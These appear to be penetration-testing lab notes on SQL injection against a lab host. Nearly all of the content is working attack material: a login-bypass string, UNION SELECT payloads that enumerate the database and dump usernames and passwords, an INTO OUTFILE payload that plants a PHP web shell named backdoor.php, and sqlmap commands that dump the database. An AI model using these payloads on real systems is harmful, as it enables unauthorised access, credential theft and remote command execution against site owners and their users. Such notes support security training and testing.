

SQL injection

1. Authentication bypass
 - a. Bad code: ``\$query= 'select * from users where name = '\$user' and password = '\$pass';``
 - b. Exploited by tricking the database into validating
 - i. ``Select * from users where name='wronguser' or 1=1 LIMIT 1; # and password='wrongpass';``
 - c. This can be used in a faulty webapp: ``'wronguser' or 1=1 LIMIT 1;#``
2. Enumerating databases
 - a. Test by adding a quote or double quote after the ID parameter
 - b. Error = vulnerable server
 - c. Column enumeration ``http://10.11.1.35/comment.php?id=738 order by 1``
 - i. Increment the value until an error is received, there are 1 less columns than the number used to trigger the error
 - ii. Use "union all select" statement to expose information
``http://10.11.1.35/comment.php?id=738 union all select 1,2,3,4,5,6``
 - d. Extracting information from the database
 - i. MySQL version ``http://10.11.1.35/comment.php?id=738 union all select 1,2,3,4,@@version,6``
 - ii. Current user ``http://10.11.1.35/comment.php?id=738 union all select 1,2,3,4,user(),6``
 - iii. Tables and column structures
 1. ``http://10.11.1.35/comment.php?id=738 union all select 1,2,3,4,table_name,6 FROM information_schema.tables``
 2. ``http://10.11.1.35/comment.php?id=738 union all select 1,2,3,4,column_name,6 FROM information_schema.tables where table_name='users'``
 - iv. Names and passwords ``http://10.11.1.35/comment.php?id=738 union all select 1,2,3,4,concat(name,0x3a,password) ,6 FROM users``
 - v. Depending on the OS and privileges, may be able to write to the underlying OS
 1. ``http://10.11.1.35/comment.php?id=738 union all select 1,2,3,4,"<?php echo shell_exec(\$_GET['cmd']);?>",6 into OUTFILE "c:/xampp/htdocs/backdoor.php"``
3. SQLMap
 - a. Sqlmap – can be used to identify and exploit SQL injection vulnerabilities
 - i. Crawl: ``sqlmap -u http://10.11.1.35 --crawl=1``
 - ii. Automate extraction: ``sqlmap -u http://10.11.1.35/comment.php?id=738 –dbms=mysql –dump –thread=5``